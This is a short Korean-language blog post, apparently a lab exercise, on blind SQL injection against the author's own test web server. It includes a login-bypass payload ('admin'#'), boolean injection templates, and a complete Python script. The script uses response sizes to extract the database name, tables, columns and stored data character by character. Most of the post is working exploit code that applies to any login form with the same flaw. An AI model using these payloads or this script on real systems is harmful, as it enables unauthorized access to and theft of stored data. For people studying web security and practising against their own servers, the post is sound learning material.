Blind SQL Injection
- 내가 만든 웹서버를 통해서 공격을 해보는 시간을 가져보았다.
- 위와 마찬가지로 간단하게 뚫리는 것을 볼 수 있다. 사실은 Blind SQLI를 쓸 것도 없이, 아래와 같은 방법으로 쉽게 뚫린다.
admin'#
- 하지만 오늘은 Blind SQLI를 실습하기 위해서 아래와 같은 방법으로 공격을 진행해보았다.
- 먼저 form을 아래와 같이 순서대로 만들어 보았다.
# mario' and '1' = '1' and '1' = '1
# mario' and (ascii('t')) > 0) and '1' = '1
# mario' and (ascii(substring('test', 1, 1)) > 0) and '1' = '1
# form: mario' and (ascii(substring(sql, j, 1)) > i) and '1' = '1
import requests
URL = "http://192.168.64.2/check_login.php"
datas = {'id': '', 'pw': 'mariosuper'}
#datas['id'] = 'mario'
#response = requests.post(URL, data=datas)
#print(len(response.content))
#datas['id'] = 'luigi'
#response = requests.post(URL, data=datas)
#print(len(response.content))
- 참일 때는 143, 거짓일 떄는 197의 사이즈가 나왔다. 나는 이를 이용하여 아래와 같이 파이썬 코드를 짜보았다.
코드
import requests
form = "mario' and (ascii(substring(({0}), {1}, 1)) > {2}) and '1' = '1"
sql = ["select database()",
"select table_name from information_schema.tables where table_schema = '{0}' limit 2,1",
"select column_name from information_schema.columns where table_name = '{0}' limit 3,1",
"select {0} from {1} limit 1,1"]
URL = "http://192.168.64.2/check_login.php"
datas = {'id': '', 'pw': 'mariosuper'}
word = []# DB_name, table_name, column_name, data 순서
for k in range(0,4):
snd = sql[k]
# k == 0: select database()
if(k == 1):
#select table_name from information_schema.tables
#where table_schema = 'DB_name' limit 2,1"
snd = sql[k].format(word[0])
elif(k == 2):
# select column_name from information_schema.columns
# where table_name = 'table_name' limit 3,1
snd = sql[k].format(word[1])
elif(k == 3):
#select 'column_name' from 'table_name' limit 1,1
snd = sql[k].format(word[2], word[1])
i = 1;
ans = ''
print(snd)
datas['id'] = form.format(snd, i, 0)
while(len(requests.post(URL, data=datas).content) == 143):
# 글자 존재 유무 확인
for j in range(33, 128):
datas['id'] = form.format(snd, i, j)
if(len(requests.post(URL, data=datas).content) == 197):
# 처음으로 로그인이 되지 않은 글자가 해당 글자.
ans += chr(j)
print(chr(j))
break
i += 1
datas['id'] = form.format(snd, i, 0)
print(ans)
word.append(ans)
print(word)
결과
- limit의 값을 조정해 여러 table, column, data를 추출할 수 있었다.